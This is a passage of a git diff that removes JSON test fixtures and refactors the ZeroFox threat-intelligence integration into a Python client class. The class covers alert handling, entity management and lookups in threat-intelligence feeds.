Forest.\",\"liveBroadcastContent\":\"none\",\"publishedAt\":\"2019-01-12T10:35:07.000Z\",\"thumbnails\":{\"default\":{\"height\":90,\"url\":\"https://i.ytimg.com/vi/enKR49CiaJs/default.jpg\",\"width\":120},\"high\":{\"height\":360,\"url\":\"https://i.ytimg.com/vi/enKR49CiaJs/hqdefault.jpg\",\"width\":480},\"medium\":{\"height\":180,\"url\":\"https://i.ytimg.com/vi/enKR49CiaJs/mqdefault.jpg\",\"width\":320}},\"title\":\"Fans On Aitor Karanka Leaving NFFC 11-01-2019\"},\"parent\":null},\"content_type\":\"post\",\"content_url\":\"https://www.youtube.com/watch?v=enKR49CiaJs\",\"offending_content\":[{\"origin\":null,\"term\":\"Karanka\",\"text\":\"Local news report on Karanka leaving Nottingham Forest.\"}]}", - "status": "Closed", - "timestamp": "2019-06-14T12:26:48+00:00", - "rule_name": "NFFC", - "last_modified": "2019-08-05T12:58:16Z", - "protected_locations": null, - "darkweb_term": null, - "reviewed": false, - "escalated": false, - "network": "youtube", - "protected_social_object": "NFFC", - "notes": "I am adding a note.", - "reviews": [], - "content_actions": [], - "rule_id": 32712, - "entity_account": null, - "tags": [] -} \ No newline at end of file diff --git a/Packs/ZeroFox/Integrations/ZeroFox/TestData/alert_result.json b/Packs/ZeroFox/Integrations/ZeroFox/TestData/alert_result.json deleted file mode 100644 index cffe19f0dce5..000000000000 --- a/Packs/ZeroFox/Integrations/ZeroFox/TestData/alert_result.json +++ /dev/null @@ -1,36 +0,0 @@ -{ - "AlertType": "search query", - "OffendingContentURL": "https://www.youtube.com/watch?v=enKR49CiaJs", - "Assignee": "", - "EntityID": 33422, - "EntityName": "Matthew Covington", - "EntityImage": "https://cdn.zerofox.com/media/entityimages/6d9hm7nzffd05wwqw4tir8bnlrbm7u2xzp5lmul50j30usv82bdpxqgimqvhanrh.jpg", - "EntityTermID": 180210, - "EntityTermName": "NFFC", - "EntityTermDeleted": false, - "ContentCreatedAt": "2019-01-12T10:35:07+00:00", - "ID": 54148284, - "ProtectedAccount": null, - "RiskRating": "Critical", - "PerpetratorName": null, - "PerpetratorURL": "https://www.youtube.com/watch?v=enKR49CiaJs", - "PerpetratorTimeStamp": "2019-01-12T10:35:07+00:00", - "PerpetratorType": "post", - "PerpetratorID": 4362446624, - "PerpetratorNetwork": "youtube", - "RuleGroupID": null, - "Status": "Closed", - "Timestamp": "2019-06-14T12:26:48+00:00", - "RuleName": "NFFC", - "LastModified": "2019-08-05T12:58:16Z", - "ProtectedLocations": null, - "DarkwebTerm": null, - "Reviewed": false, - "Escalated": false, - "Network": "youtube", - "ProtectedSocialObject": "NFFC", - "Notes": "I am adding a note.", - "RuleID": 32712, - "EntityAccount": null, - "Tags": [] -} \ No newline at end of file diff --git a/Packs/ZeroFox/Integrations/ZeroFox/TestData/contents_result.json b/Packs/ZeroFox/Integrations/ZeroFox/TestData/contents_result.json deleted file mode 100644 index 78a84d0cd342..000000000000 --- a/Packs/ZeroFox/Integrations/ZeroFox/TestData/contents_result.json +++ /dev/null @@ -1,12 +0,0 @@ -{ - "ID": 54148284, - "Protected Entity": "Matthew Covington", - "Content Type": "Search Query", - "Alert Date": "2019-06-14T12:26:48+00:00", - "Status": "Closed", - "Source": "Youtube", - "Rule": "NFFC", - "Risk Rating": "Critical", - "Notes": "I am adding a note.", - "Tags": [] -} \ No newline at end of file diff --git a/Packs/ZeroFox/Integrations/ZeroFox/ZeroFox.py b/Packs/ZeroFox/Integrations/ZeroFox/ZeroFox.py index c97a9c786d95..38ea37d74e85 100644 --- a/Packs/ZeroFox/Integrations/ZeroFox/ZeroFox.py +++ b/Packs/ZeroFox/Integrations/ZeroFox/ZeroFox.py @@ -1,43 +1,552 @@ import demistomock as demisto from CommonServerPython import * -from CommonServerUserPython import * -''' IMPORTS ''' -import requests -from typing import Dict, List, Any, cast, Union -from datetime import datetime, timedelta -import urllib3 -# Disable insecure warnings -urllib3.disable_warnings() +""" IMPORTS """ +from dateparser import parse as parse_date +from typing import Any +from collections.abc import Callable +from requests import Response +from copy import deepcopy +import urllib.parse as urlparse + +""" GLOBALS / PARAMS """ +FETCH_TIME_DEFAULT = "3 days" +CLOSED_ALERT_STATUS = ["Closed", "Deleted"] + + +""" CLIENT """ + + +class ZFClient(BaseClient): + def __init__(self, username, password, fetch_limit, *args, **kwargs): + super().__init__(*args, **kwargs) + self.credentials = { + "username": username, + "password": password + } + self.fetch_limit = fetch_limit + + def api_request( + self, + method: str, + url_suffix: str, + headers_builder_type: str | None = 'api', + params: dict[str, str] | None = None, + data: dict[str, Any] | None = None, + prefix: str | None = "1.0", + empty_response: bool = False, + error_handler: Callable[[Any], Any] | None = None, + ) -> dict[str, Any]: + """ + :param method: HTTP request type + :param url_suffix: The suffix of the URL + :param headers_builder_type: It can be `api` or `cti`. It selects + the function to build the headers required + for each case + :param params: The request's query parameters + :param data: The request's body parameters + :param version: api prefix to consider, default is to use version '1.0' + :param res_type: Selects the decoder of the response. It can be + `json` (default), `xml`, `text`, `content`, `response` + :param empty_response: Indicates if the response data is empty or not + :param error_handler: Function that receives the response and manage + the error + :return: Returns the content of the response received from the API. + """ + pref_string = f"/{prefix}" if prefix else "" + + headers = {} + if headers_builder_type is not None: + if headers_builder_type not in ("api", "cti"): + raise ValueError( + "`headers_builder_type` should be 'api' or 'cti'" + ) + header_builder = { + "api": self.get_api_request_header, + "cti": self.get_cti_request_header + }.get(headers_builder_type) + if header_builder is None: + raise ValueError( + "`headers_builder_type` should be 'api' or 'cti'" + ) + headers = header_builder() + + return self._http_request( + method=method, + url_suffix=urljoin(pref_string, url_suffix), + headers=headers, + params=params, + data=data, + empty_valid_codes=(200, 201), + return_empty_response=empty_response, + error_handler=error_handler, + ) -''' GLOBALS/PARAMS ''' + def handle_auth_error(self, raw_response: Response): + response = raw_response.json() + if "res_content" in response: + raise Exception("Failure resolving URL.") + error_msg_list: list[str] = response.get("non_field_errors", []) + if not error_msg_list: + raise Exception("Unable to log in with provided credentials.") + else: + raise Exception(error_msg_list[0]) -USERNAME: str = demisto.params().get('credentials', {}).get('identifier') -PASSWORD: str = demisto.params().get('credentials', {}).get('password') -USE_SSL: bool = not demisto.params().get('insecure', False) -BASE_URL: str = demisto.params()['url'][:-1] if demisto.params()['url'].endswith('/') \ - else demisto.params()['url'] -FETCH_TIME_DEFAULT = '3 days' -FETCH_TIME: str = demisto.params().get('fetch_time', FETCH_TIME_DEFAULT).strip() + def get_authorization_token(self) -> str: + """ + :return: Returns the authorization token + """ + url_suffix: str = "/1.0/api-token-auth/" + response_content = self.api_request( + "POST", + url_suffix, + data=self.credentials, + error_handler=self.handle_auth_error, + headers_builder_type=None, + prefix=None, + ) + token = response_content.get("token", "") + return token -''' HELPER FUNCTIONS ''' + def _get_new_access_token(self) -> str: + url_suffix: str = "/auth/token/" + response_content = self.api_request( + "POST", + url_suffix, + data=self.credentials, + headers_builder_type=None, + prefix=None, + ) + return response_content.get("access", "") + + def get_cti_authorization_token(self) -> str: + """ + :return: returns the authorization token for the CTI feed + """ + token = self._get_new_access_token() + if not token: + raise Exception("Unable to retrieve token.") + return token + + def get_api_request_header(self) -> dict[str, str]: + token: str = self.get_authorization_token() + return { + "Authorization": f"Token {token}", + "Content-Type": "application/json", + "Accept": "application/json", + } + + def get_cti_request_header(self) -> dict[str, str]: + token: str = self.get_cti_authorization_token() + return { + "Authorization": f"Bearer {token}", + "Content-Type": "application/json", + "Accept": "application/json", + } + + def get_policy_types(self) -> dict[str, Any]: + """ + :return: HTTP request content. + """ + url_suffix: str = "/policies/" + response_content = self.api_request("GET", url_suffix) + return response_content + + def list_alerts(self, params: dict[str, Any]) -> dict[str, Any]: + """ + :param params: The request's body parameters. + :return: HTTP request content. + """ + url_suffix: str = "/alerts/" + if not params.get("limit"): + params['limit'] = self.fetch_limit + response_content = self.api_request( + "GET", + url_suffix, + params=params + ) + return response_content + + def get_alert(self, alert_id: int) -> dict[str, Any]: + """ + :param alert_id: The ID of the alert. + :return: HTTP request content. + """ + url_suffix: str = f"/alerts/{alert_id}/" + response_content = self.api_request("GET", url_suffix) + return response_content + + def alert_user_assignment( + self, + alert_id: int, + username: str + ) -> dict[str, Any]: + """ + :param alert_id: The ID of the alert. + :param username: The username we want to assign to the alert. + :return: HTTP request content. + """ + url_suffix: str = f"/alerts/{alert_id}/assign/" + request_body = {"subject": username} + response_content = self.api_request( + "POST", + url_suffix, + data=request_body, + empty_response=True, + ) + return response_content + + def close_alert(self, alert_id: int) -> dict[str, Any]: + """ + :param alert_id: The ID of the alert. + :return: HTTP request content. + """ + url_suffix: str = f"/alerts/{alert_id}/close/" + response_content = self.api_request( + "POST", + url_suffix, + empty_response=True, + ) + return response_content + + def open_alert(self, alert_id: int) -> dict[str, Any]: + """ + :param alert_id: The ID of the alert. + :return: HTTP request content. + """ + url_suffix: str = f"/alerts/{alert_id}/open/" + response_content = self.api_request( + "POST", + url_suffix, + empty_response=True, + ) + return response_content + + def alert_request_takedown(self, alert_id: int) -> dict[str, Any]: + """ + :param alert_id: The ID of the alert. + :return: HTTP request content. + """ + url_suffix: str = f"/alerts/{alert_id}/request_takedown/" + response_content = self.api_request( + "POST", + url_suffix, + empty_response=True, + ) + return response_content + + def alert_cancel_takedown(self, alert_id: int) -> dict[str, Any]: + """ + :param alert_id: The ID of the alert. + :return: HTTP request content. + """ + url_suffix: str = f"/alerts/{alert_id}/cancel_takedown/" + response_content = self.api_request( + "POST", + url_suffix, + empty_response=True, + ) + return response_content + + def modify_alert_tags( + self, + alert_id: int, + action: str, + tags_list: list[str] + ) -> dict[str, Any]: + """ + :param alert_id: The ID of the alert. + :param action: action can be 'added' or 'removed'. It indicates + what action we want to do i.e add/remove tags/ + :param tags_list: A string representation of the tags, + separated by a comma ',' + :return: HTTP request content. + """ + url_suffix: str = "/alerttagchangeset/" + request_body = { + "changes": [ + { + f"{action}": tags_list, + "alert": alert_id, + }, + ], + } + response_content = self.api_request( + "POST", url_suffix, data=request_body, + ) + return response_content + + def create_entity( + self, + name: str, + strict_name_matching: bool | None = None, + tags: list | None = None, + policy: int | None = None, + organization: str | None = None, + ) -> dict[str, Any]: + """ + :param name: Name of the entity (may be non-unique). + :param strict_name_matching: Indicating type of string matching for + comparing name to impersonators. + :param tags: List of string tags for tagging the entity. Separated + by a comma ','. + :param policy: The ID of the policy to assign to the new entity. + :param organization: Organization name associated with entity. + :return: HTTP request content. + """ + url_suffix: str = "/entities/" + request_body = { + "name": name, + "strict_name_matching": strict_name_matching, + "labels": tags, + "policy": policy, + "policy_id": policy, + "organization": organization, + } + request_body = remove_none_dict(request_body) + response_content = self.api_request( + "POST", url_suffix, data=request_body, + ) + return response_content + + def list_entities(self, params: dict[str, Any]) -> dict[str, Any]: + """ + :param params: The request's body parameters. + :return: HTTP request content. + """ + url_suffix: str = "/entities/" + response_content = self.api_request( + "GET", + url_suffix, + params=params, + ) + return response_content + + def get_entity_types(self) -> dict[str, Any]: + """ + :return: HTTP request content. + """ + url_suffix: str = "/entities/types/" + response_content = self.api_request("GET", url_suffix) + return response_content + + def modify_alert_notes(self, alert_id: int, notes: str) -> dict[str, Any]: + """ + :param alert_id: The ID of the alert. + :param notes: The notes for the alert. + :return: HTTP request content. + """ + url_suffix: str = f"/alerts/{alert_id}/" + request_body = {"notes": notes} + response_content = self.api_request( + "POST", + url_suffix, + data=request_body, + empty_response=True, + ) + return response_content + + def submit_threat( + self, + source: str, + alert_type: str, + violation: str, + entity_id: str + ) -> dict[str, Any]: + """ + :param source: The source of the threat. + :param alert_type: The type of the alert. + :param violation: The violation of the alert. + :param entity_id: The ID of the entity. + :return: HTTP request content. + """ + url_suffix: str = "/threat_submit/" + request_body = { + "source": source, + "alert_type": alert_type, + "violation": violation, + "entity_id": entity_id, + } + request_body = remove_none_dict(request_body) + response_content = self.api_request( + "POST", + url_suffix, + data=request_body, + prefix="2.0", + ) + return response_content + + def get_cti_c2_domains(self, domain: str) -> dict[str, Any]: + """ + :param domain: The domain to lookup in c2-domains CTI Feed + :return: HTTP request content. + """ + url_suffix = "/c2-domains/" + params = {"domain": domain} + response_content = self.api_request( + "GET", + url_suffix, + params=params, + prefix="cti", + headers_builder_type="cti", + ) + return response_content + + def get_cti_phishing( + self, + domain: str | None = None, + ip: str | None = None + ) -> dict[str, Any]: + """ + :param domain: The domain to lookup in phishing CTI Feed + :param ip: The ip to lookup in phishing CTI Feed + :return: HTTP request content. + """ + url_suffix = "/phishing/" + params = remove_none_dict({"domain": domain, "host_ip": ip}) + response_content = self.api_request( + "GET", + url_suffix, + params=params, + prefix="cti", + headers_builder_type="cti", + ) + return response_content + + def get_cti_email_addresses(self, email: str) -> dict[str, Any]: + """ + :param email: The email to lookup in email-addresses CTI Feed + :return: HTTP request content. + """ + url_suffix = "/email-addresses/" + params = {"email": email} + response_content = self.api_request( + "GET", + url_suffix, + params=params, + prefix="cti", + headers_builder_type="cti", + ) + return response_content + + def get_cti_compromised_credentials(self, email: str) -> dict[str, Any]: + """ + :param email: The email to lookup in compromised-credentials CTI Feed + :return: HTTP request content. + """ + url_suffix = "/compromised-credentials/" + params = {"email": email} + response_content = self.api_request( + "GET", + url_suffix, + params=params, + prefix="cti", + headers_builder_type="cti", + ) + return response_content + + def get_cti_botnet_compromised_credentials( + self, + email: str + ) -> dict[str, Any]: + """ + :param email: The email to lookup in botnet-compromised-credentials + CTI Feed + :return: HTTP request content. + """ + url_suffix = "/botnet-compromised-credentials/" + params = {"email": email} + response_content = self.api_request( + "GET", + url_suffix, + params=params, + prefix="cti", + headers_builder_type="cti", + ) + return response_content + + def get_cti_botnet(self, ip: str) -> dict[str, Any]: + """ + :param ip: The ip to lookup in botnet CTI Feed + :return: HTTP request content. + """ + url_suffix = "/botnet/" + params = {"ip": ip} + response_content = self.api_request( + "GET", + url_suffix, + params=params, + prefix="cti", + headers_builder_type="cti", + ) + return response_content + + def get_cti_malware(self, hash_type: str, hash: str) -> dict[str, Any]: + """ + :param hash_type: The hash type to lookup in malware CTI Feed + :param hash: The hash to lookup in malware CTI Feed + :return: HTTP request content. + """ + url_suffix = "/malware/" + params = {hash_type: hash} + response_content = self.api_request( + "GET", + url_suffix, + params=params, + prefix="cti", + headers_builder_type="cti", + ) + return response_content + + def get_cti_exploits(self, since: str) -> dict[str, Any]: + """ + :param since: since date to query exploits + :return: HTTP request content. + """ + url_suffix = "/exploits/" + params = {"created_after": since} + response_content = self.api_request( + "GET", + url_suffix, + params=params, + prefix="cti", + headers_builder_type="cti", + ) + return response_content -def dict_value_to_integer(params: Dict, key: str): +""" HELPERS """ + + +def alert_to_incident(alert: dict[str, Any]) -> dict[str, str]: """ - :param params: A dictionary which has the key param - :param key: The key that we need to convert it's value to integer - :return: The integer representation of the key's value in the dict params + transforms an alert to incident convention + :param alert: alert is a dictionary + :return: Incident - dictionary """ - try: - if params: - value: str = params.get(key, '') - if value: - params[key] = int(value) - return params[key] - except ValueError: - raise Exception(f'This value for {key} must be an integer.') + alert_id = str(alert.get("id", "")) + incident = { + "rawJSON": json.dumps(alert), + "name": f"ZeroFox Alert {alert_id}", + "occurred": alert.get("timestamp", ""), + } + return incident + + +def parse_dict_values_to_integer( + params: dict[str, Any], + keys: list[str] +) -> dict[str, Any]: + params_copy = deepcopy(params) + for key in keys: + value = params_copy.get(key) + if value is not None: + try: + params_copy[key] = int(value) + except ValueError: + raise Exception(f"This value for {key} must be an integer.") + return params_copy def severity_num_to_string(severity_num: int) -> str: @@ -46,17 +555,8 @@ def severity_num_to_string(severity_num: int) -> str: :param severity_num: Severity score as Integer :return: Returns the String representation of the severity score """ - if severity_num == 1: - return 'Info' - elif severity_num == 2: - return 'Low' - elif severity_num == 3: - return 'Medium' - elif severity_num == 4: - return 'High' - elif severity_num == 5: - return 'Critical' - return '' + severity_map = {1: "Info", 2: "Low", 3: "Medium", 4: "High", 5: "Critical"} + return severity_map.get(severity_num, "") def severity_string_to_num(severity_str: str) -> int: @@ -64,700 +564,1175 @@ def severity_string_to_num(severity_str: str) -> int: :param severity_str: Severity score as String :return: Returns the Integer representation of the severity score """ - if severity_str == 'Info': - return 1 - elif severity_str == 'Low': - return 2 - elif severity_str == 'Medium': - return 3 - elif severity_str == 'High': - return 4 - elif severity_str == 'Critical': - return 5 - return -1 + severity_map = {"Info": 1, "Low": 2, "Medium": 3, "High": 4, "Critical": 5} + return severity_map.get(severity_str, -1) -def alert_to_incident(alert: Dict) -> Dict: +def get_nested_key( + obj: dict[str, Any], + path: list[str], + default_value: Any | None = None +) -> Any: """ - transforms an alert to incident convention - :param alert: alert is a dictionary - :return: Incident - dictionary + It returns the value of a nested key in a dictionary + :param obj: The dictionary we want to get the value from + :param path: The path to the nested key + :param default_value: The default value to return if the key is not found + :return: The value of the nested key + + Example: + obj = {"a": {"b": {"c": 1}}} + default_value = -1 + + get_nested_key(obj, ["a", "b", "c"], default_value) -> 1 + get_nested_key(obj, ["a", "x", "d"], default_value) -> -1 """ - alert_id: str = str(alert.get('id', '')) - incident: Dict = { - 'rawJSON': json.dumps(alert), - 'name': f'ZeroFox Alert {alert_id}', - 'occurred': alert.get('timestamp', '') + for key in path[:-1]: + obj = obj.get(key, {}) + if not isinstance(obj, dict): + return default_value + return obj.get(path[-1]) + + +def get_alert_contents(alert: dict[str, Any]) -> dict[str, Any]: + """ + :param alert: Alert is a dictionary + :return: A dict representing the alert contents + """ + return { + "AlertType": alert.get("alert_type"), + "OffendingContentURL": alert.get("offending_content_url"), + "Assignee": alert.get("assignee"), + "EntityID": get_nested_key(alert, ["entity", "id"]), + "EntityName": get_nested_key(alert, ["entity", "name"]), + "EntityImage": get_nested_key(alert, ["entity", "image"]), + "EntityTermID": get_nested_key(alert, ["entity_term", "id"]), + "EntityTermName": get_nested_key(alert, ["entity_term", "name"]), + "EntityTermDeleted": get_nested_key(alert, ["entity_term", "deleted"]), + "ContentCreatedAt": alert.get("content_created_at"), + "ID": alert.get("id"), + "ProtectedAccount": alert.get("protected_account"), + "RiskRating": severity_num_to_string(int(alert.get("severity", ""))), + "PerpetratorName": get_nested_key(alert, ["perpetrator", "name"]), + "PerpetratorUrl": get_nested_key(alert, ["perpetrator", "url"]), + "PerpetratorTimeStamp": get_nested_key( + alert, ["perpetrator", "timestamp"], + ), + "PerpetratorType": get_nested_key(alert, ["perpetrator", "type"]), + "PerpetratorID": get_nested_key(alert, ["perpetrator", "id"]), + "PerpetratorNetwork": get_nested_key( + alert, ["perpetrator", "network"], + ), + "RuleGroupID": alert.get("rule_group_id"), + "Status": alert.get("status"), + "Timestamp": alert.get("timestamp"), + "RuleName": alert.get("rule_name"), + "LastModified": alert.get("last_modified"), + "ProtectedLocations": alert.get("protected_locations"), + "DarkwebTerm": alert.get("darkweb_term"), + "Reviewed": alert.get("reviewed"), + "Escalated": alert.get("escalated"), + "Network": alert.get("network"), + "ProtectedSocialObject": alert.get("protected_social_object"), + "Notes": alert.get("notes"), + "RuleID": alert.get("rule_id"), + "EntityAccount": alert.get("entity_account"), + "Tags": alert.get("tags"), } - return incident -def alert_contents_request(alert_id: int) -> Dict: +def transform_alert_human_readable_values( + alert: dict[str, Any], + title_keys: list[str] | None = None +) -> dict[str, Any]: """ - returns updated contents of an alert - :param alert_id: The ID of the alert - Integer - :return: Dict of the contents of the alert + It takes an alert and convert the keys indicated in `title_keys` to + title case + + :param alert: Dictionary representing the alert + :param title_keys: List of keys to convert to title case + :return: return a copy of the alert with the keys converted to title case """ - response_content: Dict = get_alert(alert_id) - alert: Dict = response_content.get('alert', {}) - if not alert or not isinstance(alert, Dict): - return {} - contents: Dict = get_alert_contents(alert) - return contents + title_keys = title_keys or [] + transformed_alert = deepcopy(alert) + for key in title_keys: + transformed_alert[key] = transformed_alert.get(key, "").title() + return transformed_alert -def remove_none_dict(input_dict: Dict) -> Dict: +def transform_alerts_human_readable_values( + alerts: dict[str, Any] | list[dict[str, Any]], + title_keys: list[str] | None = None +) -> dict[str, Any] | list[dict[str, Any]]: """ - removes all none values from a dict - :param input_dict: any dictionary in the world is OK - :return: same dictionary but without None values + It takes an alert or a list of alerts and convert the keys specified in + `title_keys` to title case + + :param alerts: Alert or list of alerts to transform + :parma title_keys: List of keys to convert to title case + :return: a copy of the alert or list of alerts with the corresponding + transformations """ - return {key: value for key, value in input_dict.items() if value is not None} + title_keys = title_keys or [] + if isinstance(alerts, list): + return [ + transform_alert_human_readable_values( + alert, + title_keys=title_keys, + ) + for alert in alerts + ] + elif isinstance(alerts, dict): + return transform_alert_human_readable_values( + alerts, + title_keys=title_keys, + ) + else: + raise Exception("alerts must be a list or a dict") -def get_alert_contents(alert: Dict) -> Dict: +def transform_alert_human_readable_header(header: str) -> str: """ - :param alert: Alert is a dictionary - :return: A dict representing the alert contents + It returns the header name of the alert's key to human readable + + :param header: the key to get the human readable header + :return: the human readable header name of the key requested """ - return { - 'AlertType': alert.get('alert_type'), - 'OffendingContentURL': alert.get('offending_content_url'), - 'Assignee': alert.get('assignee'), - 'EntityID': alert.get('entity', {}).get('id') if alert.get('entity') else None, - 'EntityName': alert.get('entity', {}).get('name') if alert.get('entity') else None, - 'EntityImage': alert.get('entity', {}).get('image') if alert.get('entity') else None, - 'EntityTermID': alert.get('entity_term', {}).get('id') if alert.get('entity_term') else None, - 'EntityTermName': alert.get('entity_term', {}).get('name') if alert.get('entity_term') else None, - 'EntityTermDeleted': alert.get('entity_term', {}).get('deleted') if alert.get('entity_term') else None, - 'ContentCreatedAt': alert.get('content_created_at'), - 'ID': alert.get('id'), - 'ProtectedAccount': alert.get('protected_account'), - 'RiskRating': severity_num_to_string(int(alert['severity'])) if alert.get('severity') else None, # type: ignore - 'PerpetratorName': alert.get('perpetrator', {}).get('name') if alert.get('perpetrator') else None, - 'PerpetratorURL': alert.get('perpetrator', {}).get('url') if alert.get('perpetrator') else None, - 'PerpetratorTimeStamp': alert.get('perpetrator', {}).get('timestamp') if alert.get('perpetrator') else None, - 'PerpetratorType': alert.get('perpetrator', {}).get('type') if alert.get('perpetrator') else None, - 'PerpetratorID': alert.get('perpetrator', {}).get('id') if alert.get('perpetrator') else None, - 'PerpetratorNetwork': alert.get('perpetrator', {}).get('network') if alert.get('perpetrator') else None, - 'RuleGroupID': alert.get('rule_group_id'), - 'Status': alert.get('status'), - 'Timestamp': alert.get('timestamp'), - 'RuleName': alert.get('rule_name'), - 'LastModified': alert.get('last_modified'), - 'ProtectedLocations': alert.get('protected_locations'), - 'DarkwebTerm': alert.get('darkweb_term'), - 'Reviewed': alert.get('reviewed'), - 'Escalated': alert.get('escalated'), - 'Network': alert.get('network'), - 'ProtectedSocialObject': alert.get('protected_social_object'), - 'Notes': alert.get('notes'), - 'RuleID': alert.get('rule_id'), - 'EntityAccount': alert.get('entity_account'), - 'Tags': alert.get('tags') + transformations = { + "EntityName": "Protected Entity", + "AlertType": "Content Type", + "Timestamp": "Alert Date", + "Network": "Source", + "RuleName": "Rule", + "RiskRating": "Risk Rating", + "OffendingContentURL": "Offending Content", } + return transformations.get(header, header) + + +def get_human_readable_alerts( + alerts: dict[str, Any] | list[dict[str, Any]] +) -> str: + visible_keys = [ + "ID", + "EntityName", + "AlertType", + "Timestamp", + "Status", + "OffendingContentURL", + "Network", + "RuleName", + "RiskRating", + "Notes", + "Tags", + ] + title_keys = ["AlertType", "RuleName", "Network", "EntityName"] + transformed_alerts = transform_alerts_human_readable_values( + alerts, title_keys=title_keys + ) + readable_output: str = tableToMarkdown( + "ZeroFox Alerts", + transformed_alerts, + headers=visible_keys, + date_fields=["Timestamp"], + headerTransform=transform_alert_human_readable_header, + removeNull=True, + ) + return readable_output -def get_alert_human_readable_outputs(contents: Dict) -> Dict: +def remove_none_dict(input_dict: dict[Any, Any]) -> dict[Any, Any]: """ - returns the convention for the war room - :param contents: Contents is a dictionary - :return: A dict representation of the war room contents displayed to the user + removes all none values from a dict + :param input_dict: any dictionary in the world is OK + :return: same dictionary but without None values """ return { - 'ID': contents.get('ID'), - 'Protected Entity': contents.get('EntityName', '').title(), - 'Content Type': contents.get('AlertType', '').title(), - 'Alert Date': contents.get('Timestamp', ''), - 'Status': contents.get('Status', '').title(), - 'Source': contents.get('Network', '').title(), - 'Rule': contents.get('RuleName'), - 'Risk Rating': contents.get('RiskRating'), - 'Notes': contents.get('Notes') if contents.get('Notes') else None, - 'Tags': contents.get('Tags') + key: value for key, value in input_dict.items() + if value is not None } -def get_entity_contents(entity: Dict) -> Dict: +def get_entity_contents(entity: dict[str, Any]) -> dict[str, Any]: """ :param entity: Entity is a dictionary :return: A dict representation of the contents of entity """ return { - 'ID': entity.get('id'), - 'Name': entity.get('name'), - 'EmailAddress': entity.get('email_address'), - 'Organization': entity.get('organization'), - 'Tags': entity.get('labels'), - 'StrictNameMatching': entity.get('strict_name_matching'), - 'PolicyID': entity.get('policy_id'), - 'Profile': entity.get('profile'), - 'EntityGroupID': entity.get('entity_group', {}).get('id') if entity.get('entity_group') else None, - 'EntityGroupName': entity.get('entity_group', {}).get('name') if entity.get('entity_group') else None, - 'TypeID': entity.get('type', {}).get('id') if entity.get('type') else None, - 'TypeName': entity.get('type', {}).get('name') if entity.get('type') else None + "ID": entity.get("id"), + "Name": entity.get("name"), + "EmailAddress": entity.get("email_address"), + "Organization": entity.get("organization"), + "Tags": entity.get("labels"), + "StrictNameMatching": entity.get("strict_name_matching"), + "PolicyID": entity.get("policy_id"), + "Profile": entity.get("profile"), + "EntityGroupID": get_nested_key(entity, ["entity_group", "id"]), + "EntityGroupName": get_nested_key(entity, ["entity_group", "name"]), + "TypeID": get_nested_key(entity, ["type", "id"]), + "TypeName": get_nested_key(entity, ["type", "name"]), } -def get_entity_human_readable_outputs(contents: Dict) -> Dict: +def get_entity_human_readable_outputs( + contents: dict[str, Any] +) -> dict[str, Any]: """ returns the convention for the war room :param contents: Contents is a dictionary - :return: A dict representation of the war room contents displayed to the user + :return: A dict representation of the war room contents + displayed to the user """ return { - 'Name': contents.get('Name'), - 'Type': contents.get('TypeName'), - 'Policy': contents.get('PolicyID'), - 'Email': contents.get('EmailAddress'), - 'Tags': contents.get('Tags'), - 'ID': contents.get('ID') + "Name": contents.get("Name"), + "Type": contents.get("TypeName"), + "Policy": contents.get("PolicyID"), + "Email": contents.get("EmailAddress"), + "Tags": contents.get("Tags"), + "ID": contents.get("ID"), } -def get_authorization_token() -> str: - """ - :return: Returns the authorization token - """ - integration_context: Dict = demisto.getIntegrationContext() - token: str = integration_context.get('token', '') - if token: - return token - url_suffix: str = '/api-token-auth/' - data_for_request: Dict = { - 'username': USERNAME, - 'password': PASSWORD +def get_c2_domain_content(c2_domain_record: dict[str, Any]) -> dict[str, Any]: + return { + "Domain": c2_domain_record.get("domain", ""), + "LastModified": c2_domain_record.get("created_at", ""), + "IPs": ", ".join(c2_domain_record.get("ip_addresses", [])) } - response_content: Dict = http_request('POST', url_suffix, data=data_for_request, continue_err=True, - api_request=False) - token = response_content.get('token', '') - if not token: - if 'res_content' in response_content: - raise Exception('Failure resolving URL.') - error_msg_list: List = response_content.get('non_field_errors', []) - if not error_msg_list: - raise Exception('Unable to log in with provided credentials.') - else: - raise Exception(error_msg_list[0]) - demisto.setIntegrationContext({'token': token}) - return token - - -def http_request(method: str, url_suffix: str, params: Dict = None, data: Union[Dict, str] = '', - continue_err: bool = False, api_request: bool = True) -> Dict: - """ - :param method: HTTP request type - :param url_suffix: The suffix of the URL - :param params: The request's query parameters - :param data: The request's body parameters - :param continue_err: A boolean flag to help us know if we want to show the error like we got it from - the API, or if we want to parse the error message. If continue_err is False (default) we handle the error as - we received it from the API, otherwise if continue_err is True we parse it. - :param api_request: A boolean flag to help us know if the request is a regular API call or a token call. - If api_request is False the call is to get Authorization Token, otherwise if api_request is True then it's a - regular API call. - :return: Returns the content of the response received from the API. - """ - # A wrapper for requests lib to send our requests and handle requests and responses better - headers: Dict = {} - try: - err_msg: str - if api_request: - token: str = get_authorization_token() - headers = { - 'Authorization': f'Token {token}', - 'Content-Type': 'application/json', - 'Accept': 'application/json' - } - res = requests.request( - method, - BASE_URL + url_suffix, - verify=USE_SSL, - params=params, - data=data, - headers=headers - ) - # Handle error responses gracefully - if res.status_code not in {200, 201} and not continue_err: - err_msg = f'Error calling ZeroFox integration API [{res.status_code}] - {res.reason}\n' - try: - res_json = res.json() - if 'error' in res_json: - err_msg += res_json.get('error', '') - except ValueError: - err_msg += str(res.content) - finally: - raise ValueError(err_msg) - else: - try: - if res.status_code not in {200, 201}: - try: - res_data = json.loads(res.text) - except ValueError: - raise Exception('Failure resolving URL.') - if isinstance(res_data, dict) and 'non_field_errors' in res_data: - # case of wrong credentials - err_msg_list = res_data.get('non_field_errors') - if isinstance(err_msg_list, list) and err_msg_list: - raise Exception(err_msg_list[0]) - else: - raise Exception('Failure resolving URL.') - return res.json() - except ValueError: - return {'res_content': res.content} - except requests.exceptions.ConnectTimeout: - err_msg = 'Connection Timeout Error - incorrect server URL parameter' \ - ' or the Server cannot be accessed from your host.' - raise Exception(err_msg) - except requests.exceptions.SSLError: - err_msg = 'Failure verying SSL certificate. Try selecting \'Trust any certificate\' in' \ - ' the integration configuration.' - raise Exception(err_msg) - except requests.exceptions.ProxyError: - err_msg = 'Proxy Error - try clearing \'Use system proxy\' in the integration configuration if it has been' \ - ' selected.' - raise Exception(err_msg) - except requests.exceptions.ConnectionError as e: - # Get originating Exception in Exception chain - while '__context__' in dir(e) and e.__context__: - e = cast(Any, e.__context__) - err_msg = f'\nMESSAGE: {e.strerror}\n' \ - f'ADVICE: Check that the Server URL parameter is correct and that you' \ - f' have access to the Server from your host.' - raise Exception(err_msg) - - -''' COMMANDS + REQUESTS FUNCTIONS ''' - - -def close_alert(alert_id: 